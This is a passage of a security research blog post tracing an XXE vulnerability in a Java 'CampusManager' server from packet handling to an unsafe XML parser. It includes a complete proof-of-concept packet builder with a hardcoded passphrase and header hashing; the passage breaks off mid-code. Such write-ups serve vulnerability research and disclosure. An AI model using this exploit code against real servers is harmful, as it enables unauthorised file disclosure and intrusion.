        <span class="kd">final</span> <span class="nc">DataOutputStream</span> <span class="n">dos</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DataOutputStream</span><span class="o">(</span><span class="n">out</span><span class="o">);</span>
        <span class="n">p</span><span class="o">.</span><span class="na">writePacket</span><span class="o">(</span><span class="n">dos</span><span class="o">);</span>
        <span class="n">dos</span><span class="o">.</span><span class="na">flush</span><span class="o">();</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>At <code class="language-plaintext highlighter-rouge">[13]</code> we spot an <code class="language-plaintext highlighter-rouge">xml</code> variable, the content coming from within our packet. Smells like a chance for <strong>XML External Entity (XXE)</strong> exploitation?!</p>

<h3 id="xml-external-entity">XML External Entity</h3>

<p>Looking into <code class="language-plaintext highlighter-rouge">com.bsc.server.CampusManager.processPacket(CampusManagerPacket packet)</code> next reveals:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="nc">String</span> <span class="nf">processPacket</span><span class="o">(</span><span class="kd">final</span> <span class="nc">CampusManagerPacket</span> <span class="n">packet</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
    <span class="nc">String</span> <span class="n">retval</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
    <span class="kd">final</span> <span class="kt">int</span> <span class="n">verb</span> <span class="o">=</span> <span class="n">packet</span><span class="o">.</span><span class="na">getVerb</span><span class="o">();</span> <span class="c1">// [14]</span>
    <span class="k">this</span><span class="o">.</span><span class="na">debug</span><span class="o">(</span><span class="s">"processPacket() Verb = "</span> <span class="o">+</span> <span class="nc">CampusManagerPacket</span><span class="o">.</span><span class="na">verbToString</span><span class="o">(</span><span class="n">verb</span><span class="o">));</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">verb</span> <span class="o">==</span> <span class="mi">2</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">this</span><span class="o">.</span><span class="na">requests</span><span class="o">.</span><span class="na">remove</span><span class="o">(</span><span class="k">new</span> <span class="nc">Long</span><span class="o">(</span><span class="n">packet</span><span class="o">.</span><span class="na">getResponseID</span><span class="o">()));</span>
        <span class="k">this</span><span class="o">.</span><span class="na">responses</span><span class="o">.</span><span class="na">addResponse</span><span class="o">(</span><span class="n">packet</span><span class="o">);</span>
    <span class="o">}</span>
    <span class="k">else</span> <span class="nf">if</span> <span class="o">(</span><span class="n">verb</span> <span class="o">==</span> <span class="mi">4</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">this</span><span class="o">.</span><span class="na">setDebug</span><span class="o">(!</span><span class="k">this</span><span class="o">.</span><span class="na">debug</span><span class="o">);</span>
    <span class="o">}</span>
    <span class="o">...</span>
    <span class="k">else</span> <span class="nf">if</span> <span class="o">(</span><span class="n">verb</span> <span class="o">==</span> <span class="mi">5</span><span class="o">)</span> <span class="o">{</span>
        <span class="kd">final</span> <span class="nc">CommandObject</span> <span class="n">obj</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CommandObject</span><span class="o">(</span><span class="n">packet</span><span class="o">.</span><span class="na">getXml</span><span class="o">());</span> <span class="c1">// [15]</span>
        <span class="k">this</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="n">obj</span><span class="o">.</span><span class="na">toString</span><span class="o">());</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">obj</span><span class="o">.</span><span class="na">commandName</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">||</span> <span class="o">!</span><span class="k">this</span><span class="o">.</span><span class="na">isAllowedRemoteCommand</span><span class="o">(</span><span class="n">obj</span><span class="o">.</span><span class="na">commandName</span><span class="o">))</span> <span class="o">{</span>
            <span class="k">this</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="s">"WARNING: remote command not allowed ("</span> <span class="o">+</span> <span class="n">obj</span><span class="o">.</span><span class="na">commandName</span> <span class="o">+</span> <span class="s">")"</span><span class="o">);</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nf">Exception</span><span class="o">(</span><span class="s">"Remote command not allowed ("</span> <span class="o">+</span> <span class="n">obj</span><span class="o">.</span><span class="na">commandName</span> <span class="o">+</span> <span class="s">")"</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="k">this</span><span class="o">.</span><span class="na">commandVector</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="n">obj</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="k">catch</span> <span class="o">(</span><span class="kd">final</span> <span class="nc">InterruptedException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span>
    <span class="o">}</span>
    <span class="o">...</span>
    <span class="k">else</span> <span class="nf">if</span> <span class="o">(</span><span class="n">verb</span> <span class="o">==</span> <span class="mi">9</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">this</span><span class="o">.</span><span class="na">debug</span><span class="o">(</span><span class="s">"configFiles: "</span> <span class="o">+</span> <span class="k">this</span><span class="o">.</span><span class="na">configFile0</span> <span class="o">+</span> <span class="s">"  "</span> <span class="o">+</span> <span class="k">this</span><span class="o">.</span><span class="na">configFile1</span><span class="o">);</span>
        <span class="k">this</span><span class="o">.</span><span class="na">talkedToPartner</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span>
        <span class="k">this</span><span class="o">.</span><span class="na">readConfigFiles</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">configFile0</span><span class="o">,</span> <span class="k">this</span><span class="o">.</span><span class="na">configFile1</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="kc">false</span><span class="o">);</span>
        <span class="kd">final</span> <span class="nc">InetAddress</span> <span class="n">remoteAddress</span> <span class="o">=</span> <span class="n">packet</span><span class="o">.</span><span class="na">getAddress</span><span class="o">();</span>
        <span class="kd">final</span> <span class="nc">String</span> <span class="n">remoteIP</span> <span class="o">=</span> <span class="n">remoteAddress</span><span class="o">.</span><span class="na">getHostAddress</span><span class="o">();</span>
        <span class="k">if</span> <span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">controlServer</span> <span class="o">&amp;&amp;</span> <span class="k">this</span><span class="o">.</span><span class="na">inControl</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">this</span><span class="o">.</span><span class="na">sendToNetwork</span><span class="o">(</span><span class="mi">9</span><span class="o">,</span> <span class="n">remoteIP</span><span class="o">);</span>
        <span class="o">}</span>
    <span class="o">}</span>
    <span class="k">else</span> <span class="nf">if</span> <span class="o">(</span><span class="n">verb</span> <span class="o">==</span> <span class="mi">11</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">this</span><span class="o">.</span><span class="na">shutdown</span> <span class="o">=</span> <span class="kc">true</span><span class="o">;</span>
    <span class="o">}</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">retval</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="n">verb</span> <span class="o">!=</span> <span class="mi">2</span> <span class="o">&amp;&amp;</span> <span class="n">verb</span> <span class="o">!=</span> <span class="mi">6</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">retval</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">buildAck</span><span class="o">();</span>
    <span class="o">}</span>
    <span class="k">return</span> <span class="n">retval</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Our <code class="language-plaintext highlighter-rouge">com.bsc.util.CampusManagerPacket packet</code> comes in and the <code class="language-plaintext highlighter-rouge">verb</code> gets extracted at <code class="language-plaintext highlighter-rouge">[14]</code>. Depending on this <code class="language-plaintext highlighter-rouge">verb</code> different operations can be triggered. There exist quite a number of <code class="language-plaintext highlighter-rouge">else if</code> constructs but I again cut out the most relevant parts for my readers.</p>

<p>For no specific reasons, we focus on the verb being equal to <code class="language-plaintext highlighter-rouge">5</code> case so at <code class="language-plaintext highlighter-rouge">[15]</code> the XML content is retrieved from the packet via <code class="language-plaintext highlighter-rouge">com.bsc.util.CampusManagerPacket.getXml()</code>. This method is not particularly interesting, i.e. only some decompressing takes place. But the <code class="language-plaintext highlighter-rouge">com.bsc.server.CampusManager.CommandObject.CommandObject(String xml)</code> constructor implementation confirms our initial assumption.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="nf">CommandObject</span><span class="o">(</span><span class="kd">final</span> <span class="nc">String</span> <span class="n">xml</span><span class="o">)</span> <span class="o">{</span>
    <span class="k">this</span><span class="o">.</span><span class="na">commandName</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
    <span class="k">this</span><span class="o">.</span><span class="na">args</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[</span><span class="mi">0</span><span class="o">];</span>
    <span class="k">this</span><span class="o">.</span><span class="na">buffer</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">StringBuffer</span><span class="o">();</span>
    <span class="k">this</span><span class="o">.</span><span class="na">time</span> <span class="o">=</span> <span class="mi">0L</span><span class="o">;</span>
    <span class="k">this</span><span class="o">.</span><span class="na">retval</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span>
    <span class="k">this</span><span class="o">.</span><span class="na">index</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span>
    <span class="k">try</span> <span class="o">{</span>
        <span class="kd">final</span> <span class="nc">StringReader</span> <span class="n">reader</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">StringReader</span><span class="o">(</span><span class="n">xml</span><span class="o">);</span>
        <span class="kd">final</span> <span class="nc">InputSource</span> <span class="n">source</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">InputSource</span><span class="o">(</span><span class="n">reader</span><span class="o">);</span>
        <span class="kd">final</span> <span class="nc">DocumentBuilderFactory</span> <span class="n">factory</span> <span class="o">=</span> <span class="nc">DocumentBuilderFactory</span><span class="o">.</span><span class="na">newInstance</span><span class="o">();</span>
        <span class="kd">final</span> <span class="nc">DocumentBuilder</span> <span class="n">builder</span> <span class="o">=</span> <span class="n">factory</span><span class="o">.</span><span class="na">newDocumentBuilder</span><span class="o">();</span>
        <span class="kd">final</span> <span class="nc">Document</span> <span class="n">doc</span> <span class="o">=</span> <span class="n">builder</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="n">source</span><span class="o">);</span> <span class="c1">// [16]</span>
        <span class="n">doc</span><span class="o">.</span><span class="na">getDocumentElement</span><span class="o">().</span><span class="na">normalize</span><span class="o">();</span>
        <span class="k">this</span><span class="o">.</span><span class="na">commandName</span> <span class="o">=</span> <span class="nc">CampusManagerMachine</span><span class="o">.</span><span class="na">getXmlValue</span><span class="o">(</span><span class="n">doc</span><span class="o">,</span> <span class="s">"commandName"</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">commandName</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">this</span><span class="o">.</span><span class="na">commandName</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">commandName</span><span class="o">.</span><span class="na">trim</span><span class="o">();</span>
        <span class="o">}</span>
        <span class="kd">final</span> <span class="nc">String</span><span class="o">[]</span> <span class="n">tmp</span> <span class="o">=</span> <span class="nc">CampusManagerMachine</span><span class="o">.</span><span class="na">getXmlValues</span><span class="o">(</span><span class="n">doc</span><span class="o">,</span> <span class="s">"arg"</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">tmp</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">this</span><span class="o">.</span><span class="na">args</span> <span class="o">=</span> <span class="n">tmp</span><span class="o">;</span>
        <span class="o">}</span>
    <span class="o">}</span>
	<span class="o">...</span>
</code></pre></div></div>

<p>At <code class="language-plaintext highlighter-rouge">[16]</code> we hit a well-known <strong>XXE sink</strong> <code class="language-plaintext highlighter-rouge">javax.xml.parsers.DocumentBuilder.parse(InputSource is)</code>. But to prove this, we need a little bit of code because the custom packet structure has to be created manually. I’ll give you the full implementation here.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">java.io.ByteArrayOutputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.DataOutputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.FileOutputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.IOException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.StringReader</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.nio.ByteBuffer</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.nio.charset.Charset</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.nio.file.Files</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.nio.file.Paths</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.security.MessageDigest</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.security.NoSuchAlgorithmException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.zip.Deflater</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">javax.xml.parsers.DocumentBuilder</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">javax.xml.parsers.DocumentBuilderFactory</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.w3c.dom.Document</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.w3c.dom.Node</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.w3c.dom.NodeList</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.xml.sax.InputSource</span><span class="o">;</span>

<span class="kd">public</span> <span class="kd">class</span> <span class="nc">BuildPacket</span> <span class="o">{</span>

	<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
		<span class="nc">FileOutputStream</span> <span class="n">fos</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">FileOutputStream</span><span class="o">(</span><span class="s">"test_packet"</span><span class="o">);</span>
		<span class="nc">DataOutputStream</span> <span class="n">dos</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DataOutputStream</span><span class="o">(</span><span class="n">fos</span><span class="o">);</span>
		<span class="kt">int</span> <span class="n">requestId</span> <span class="o">=</span> <span class="mi">1</span><span class="o">;</span>
		<span class="kt">int</span> <span class="n">responseID</span> <span class="o">=</span> <span class="mi">2</span><span class="o">;</span>
		<span class="kt">int</span> <span class="n">verb</span> <span class="o">=</span> <span class="mi">5</span><span class="o">;</span>

		<span class="c1">// Encryption</span>
		<span class="nc">String</span> <span class="n">passPhrase</span> <span class="o">=</span> <span class="s">"C1#!ff24A0K2"</span><span class="o">;</span>
		<span class="kd">final</span> <span class="kt">byte</span><span class="o">[]</span> <span class="n">b</span> <span class="o">=</span> <span class="n">passPhrase</span><span class="o">.</span><span class="na">getBytes</span><span class="o">();</span>
		<span class="kd">final</span> <span class="nc">ByteArrayOutputStream</span> <span class="n">baos</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ByteArrayOutputStream</span><span class="o">();</span>
		<span class="kd">final</span> <span class="nc">DataOutputStream</span> <span class="n">output</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DataOutputStream</span><span class="o">(</span><span class="n">baos</span><span class="o">);</span>
		<span class="n">output</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">b</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">b</span><span class="o">.</span><span class="na">length</span><span class="o">);</span>
		<span class="n">output</span><span class="o">.</span><span class="na">writeInt</span><span class="o">((</span><span class="kt">int</span><span class="o">)</span> <span class="n">requestId</span><span class="o">);</span>
		<span class="kd">final</span> <span class="kt">byte</span><span class="o">[]</span> <span class="n">phrase</span> <span class="o">=</span> <span class="n">baos</span><span class="o">.</span><span class="na">toByteArray</span><span class="o">();</span>

		<span class="nc">String</span> <span class="n">xml</span> <span class="o">=</span> <span class="n">readFile</span><span class="o">(</span><span class="s">"test.xml"</span><span class="o">,</span> <span class="nc">Charset</span><span class="o">.</span><span class="na">defaultCharset</span><span class="o">());</span>
		<span class="c1">//checkXml(xml);</span>
		<span class="kt">byte</span><span class="o">[]</span> <span class="n">compressedXml</span> <span class="o">=</span> <span class="n">compressXML</span><span class="o">(</span><span class="n">xml</span><span class="o">);</span>
		<span class="c1">//byte[] encryptedcompressedXml = EncodeDecode.encryptAES(phrase, compressXML(xml));</span>

		<span class="kt">int</span> <span class="n">len</span> <span class="o">=</span> <span class="n">compressedXml</span><span class="o">.</span><span class="na">length</span><span class="o">;</span>
		<span class="c1">// Built valid hash</span>
		<span class="kt">byte</span><span class="o">[]</span> <span class="n">packetHash</span> <span class="o">=</span> <span class="n">hashHeader</span><span class="o">(</span><span class="n">requestId</span><span class="o">,</span> <span class="n">responseID</span><span class="o">,</span> <span class="n">verb</span><span class="o">,</span> <span class="n">len</span><span class="o">);</span>

		<span class="n">dos</span><span class="o">.</span><span class="na">writeInt</span><span class="o">(</span><span class="n">requestId</span><span class="o">);</span>
		<span class="n">dos</span><span class="o">.</span><span class="na">writeInt</span><span class="o">(</span><span class="n">responseID</span><span class="o">);</span>
		<span class="n">dos</span><span class="o">.</span><span class="na">writeInt</span><span class="o">(</span><span class="n">verb</span><span class="o">);</span>
		<span class="n">dos</span><span class="o">.</span><span class="na">writeInt</span><span class="o">(</span><span class="n">len</span><span class="o">);</span>
		<span class="n">dos</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">packetHash</span><span class="o">);</span>
		<span class="c1">// Case 1: compressedXml, Case 2: encryptedcompressedXml</span>
		<span class="n">dos</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">compressedXml</span><span class="o">);</span>

		<span class="n">dos</span><span class="o">.</span><span class="na">flush</span><span class="o">();</span>
		<span class="n">dos</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
		<span class="n">fos</span><span class="o">.</span><span class="na">flush</span><span class="o">();</span>
		<span class="n">fos</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
		<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"File written: test_packet"</span><span class="o">);</span>
		<span class="k">if</span> <span class="o">((</span><span class="n">verb</span> <span class="o">&amp;</span> <span class="mh">0x1000000</span><span class="o">)</span> <span class="o">!=</span> <span class="mh">0x0</span><span class="o">)</span>
			<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Should contain encrypted part!"</span><span class="o">);</span>
		<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Final verb:"</span> <span class="o">+</span> <span class="o">(</span><span class="n">verb</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFF</span><span class="o">));</span>
	<span class="o">}</span>

	<span class="kd">private</span> <span class="kd">static</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">hashHeader</span><span class="o">(</span><span class="kd">final</span> <span class="kt">int</span> <span class="n">requestID</span><span class="o">,</span> <span class="kd">final</span> <span class="kt">int</span> <span class="n">responseID</span><span class="o">,</span> <span class="kd">final</span> <span class="kt">int</span> <span class="n">verb</span><span class="o">,</span> <span class="kd">final</span> <span class="kt">int</span> <span class="n">length</span><span class="o">)</span> <span class="o">{</span>
		<span class="nc">MessageDigest</span> <span class="n">md5Digest</span><span class="o">;</span>
		<span class="k">try</span> <span class="o">{</span>
			<span class="n">md5Digest</span> <span class="o">=</span> <span class="nc">MessageDigest</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"MD5"</span><span class="o">);</span>
		<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="kd">final</span> <span class="nc">NoSuchAlgorithmException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
			<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
			<span class="n">md5Digest</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
		<span class="o">}</span>
		<span class="kt">byte</span><span class="o">[]</span> <span class="n">hash</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
		<span class="k">if</span> <span class="o">(</span><span class="n">md5Digest</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
			<span class="nc">ByteBuffer</span> <span class="n">data</span> <span class="o">=</span> <span class="nc">ByteBuffer</span><span class="o">.</span><span class="na">allocate</span><span class="o">(</span><span class="mi">16</span><span class="o">);</span>
			<span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="na">putInt</span><span class="o">(</span><span class="mi">0</span><span class="o">,</span> <span class="n">requestID</span><span class="o">);</span>
			<span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="na">putInt</span><span class="o">(</span><span class="mi">4</span><span class="o">,</span> <span class="n">responseID</span><span class="o">);</span>
			<span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="na">putInt</span><span class="o">(</span><span class="mi">8</span><span class="o">,</span> <span class="n">verb</span><span class="o">);</span>
			<span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="na">putInt</span><span class="o">(</span><span class="mi">12</span><span class="o">,</span> <span class="n">length</span><span class="o">);</span>
			<span class="n">md5Digest</span><span class="o">.</span><span class="na">update</span><span class="o">(</span><span class="n">data</span><span class="o">.</span><span class="na">array</span><span class="o">());</span>
			<span class="n">hash</span> <span class="o">=</span> <span class="n">md5Digest</span><span class="o">.</span><span class="na">digest</span><span class="o">();</span>
		<span class="o">}</span>
		<span class="k">return</span> <span class="n">hash</span><span class="o">;</span>
	<span class="o">}</span>

	<span class="kd">private</span> <span class="kd">static</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">compressXML</span><span class="o">(</span><span class="kd">final</span> <span class="nc">String</span> <span class="n">val</span><span class="o">)</span> <span class="o">{</span>
		<span class="nc">String</span> <span class="n">xml</span><span class="o">;</span>
		<span class="k">if</span> <span class="o">(</span><span class="n">val</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
			<span class="nc">Deflater</span> <span class="n">compressor</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
			<span class="k">try</span> <span class="o">{</span>
				<span class="n">xml</span> <span class="o">=</span> <span class="n">val</span><span class="o">;</span>
				<span class="kd">final</span> <span class="kt">byte</span><span class="o">[]</span> <span class="n">bytes</span> <span class="o">=</span> <span class="n">xml</span><span class="o">.</span><span class="na">getBytes</span><span class="o">();</span>
				<span class="n">compressor</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Deflater</span><span class="o">();</span>
				<span class="n">compressor</span><span class="o">.</span><span class="na">setLevel</span><span class="o">(</span><span class="mi">9</span><span class="o">);</span>
				<span class="n">compressor</span><span class="o">.</span><span class="na">setInput</span><span class="o">(</span><span class="n">bytes</span><span class="o">);</span>
				<span class="n">compressor</span><span class="o">.</span><span class="na">finish</span><span class="o">();</span>
				<span class="kd">final</span> <span class="nc">ByteArrayOutputStream</span> <span class="n">bos</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ByteArrayOutputStream</span><span class="o">(</span><span class="n">bytes</span><span class="o">.</span><span class="na">length</span><span class="o">);</span>
				<span class="kd">final</span> <span class="kt">byte</span><span class="o">[]</span> <span class="n">buf</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[</span><span class="mi">1024</span><span class="o">];</span>
				<span class="k">while</span> <span class="o">(!</span><span class="n">compressor</span><span class="o">.</span><span class="na">finished</span><span class="o">())</span> <span class="o">{</span>
					<span class="kd">final</span> <span class="kt">int</span> <span class="n">count</span> <span class="o">=</span> <span class="n">compressor</span><span class="o">.</span><span class="na">deflate</span><span class="o">(</span><span class="n">buf</span><span class="o">);</span>
					<span class="n">bos</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">buf</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">count</span><span class="o">);</span>
				<span class="o">}</span>
				<span class="n">bos</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
				<span class="k">return</span> <span class="n">bos</span><span class="o">.</span><span class="na">toByteArray</span><span class="o">();</span>
			<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="kd">final</span> <span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
				<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
			<span class="o">}</span> <span class="k">finally</span> <span class="o">{</span>
				<span class="k">if</span> <span class="o">(</span><span class="n">compressor</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
					<span class="n">compressor</span><span class="o">.</span><span class="na">end</span><span class="o">();</span>
				<span class="o">}</span>
			<span class="o">}</span>
		<span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
			<span class="k">return</span> <span class="kc">null</span><span class="o">;</span>
		<span class="o">}</span>
		<span class="k">return</span> <span class="kc">null</span><span class="o">;</span>
	<span class="o">}</span>

	<span class="kd">private</span> <span class="kd">static</span> <span class="nc">String</span> <span class="nf">readFile</span><span class="o">(</span><span class="nc">String</span> <span class="n">path</span><span class="o">,</span> <span class="nc">Charset</span> <span class="n">encoding</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span>
		<span class="kt">byte</span><span class="o">[]</span> <span class="n">encoded</span> <span class="o">=</span> <span class="nc">Files</span><span class="o">.</span><span class="na">readAllBytes</span><span class="o">(</span><span class="nc">Paths</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">path</span><span class="o">));</span>
		<span class="k">return</span> <span class="k">new</span> <span class="nf">String</span><span class="o">(</span><span class="n">encoded</span><span class="o">,</span> <span class="n">encoding</span><span class="o">);</span>
	<span class="o">}</span>

	<span class="kd">private</span> <span class="kd">static</span> <span class="nc">String</span> <span class="nf">getXmlValue</span><span class="o">(</span><span class="kd">final</span> <span class="nc">Document</span> <span class="n">doc</span><span class="o">,</span> <span class="kd">final</span> <span class="nc">String</span> <span class="n">key</span><span class="o">)</span> <span class="o">{</span>
		<span class="nc">String</span> <span class="n">value</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
		<span class="kd">final</span> <span class="nc">NodeList</span> <span class="n">nodeList</span> <span class="o">=</span> <span class="n">doc</span><span class="o">.</span><span class="na">getElementsByTagName</span><span class="o">(</span><span class="n">key</span><span class="o">);</span>
		<span class="k">if</span> <span class="o">(</span><span class="n">nodeList</span><span class="o">.</span><span class="na">getLength</span><span class="o">()</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
			<span class="kd">final</span> <span class="nc">Node</span> <span class="n">node</span> <span class="o">=</span> <span class="n">nodeList</span><span class="o">.</span><span class="na">item</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
			<span class="kd">final</span> <span class="nc">Node</span> <span class="n">val</span> <span class="o">=</span> <span class="n">node</span><span class="o">.</span><span class="na">getFirstChild</span><span class="o">();</span>
			<span class="k">if</span> <span class="o">(</span><span class="n">val</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="n">val</span><span class="o">.</span><span class="na">getNodeValue</span><span class="o">()</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
				<span class="n">value</span> <span class="o">=</span> <span class="n">val</span><span class="o">.</span><span class="na">getNodeValue</span><span class="o">();</span>
			<span class="o">}</span>
		<span class="o">}</span>
		<span class="k">return</span> <span class="n">value</span><span class="o">;</span>
	<span class="o">}</span>

	<span class="kd">private</span> <span class="kd">static</span> <span class="nc">String</span><span class="o">[]</span> <span class="nf">getXmlValues</span><span class="o">(</span><span class="kd">final</span> <span class="nc">Document</span> <span class="n">doc</span><span class="o">,</span> <span class="kd">final</span> <span class="nc">String</span> <span class="n">key</span><span class="o">)</span> <span class="o">{</span>
		<span class="nc">String</span><span class="o">[]</span> <span class="n">values</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
		<span class="kd">final</span> <span class="nc">NodeList</span> <span class="n">nodeList</span> <span class="o">=</span> <span class="n">doc</span><span class="o">.</span><span class="na">getElementsByTagName</span><span class="o">(</span><span class="n">key</span><span class="o">);</span>
		<span class="k">if</span> <span class="o">(</span><span class="n">nodeList</span><span class="o">.</span><span class="na">getLength</span><span class="o">()</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
			<span class="n">values</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[</span><span class="n">nodeList</span><span class="o">.</span><span class="na">getLength</span><span class="o">()];</span>
			<span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">nodeList</span><span class="o">.</span><span class="na">getLength</span><span class="o">();</span> <span class="o">++</span><span class="n">i</span><span class="o">)</span> <span class="o">{</span>
				<span class="kd">final</span> <span class="nc">Node</span> <span class="n">node</span> <span class="o">=</span> <span class="n">nodeList</span><span class="o">.</span><span class="na">item</span><span class="o">(</span><span class="n">i</span><span class="o">);</span>
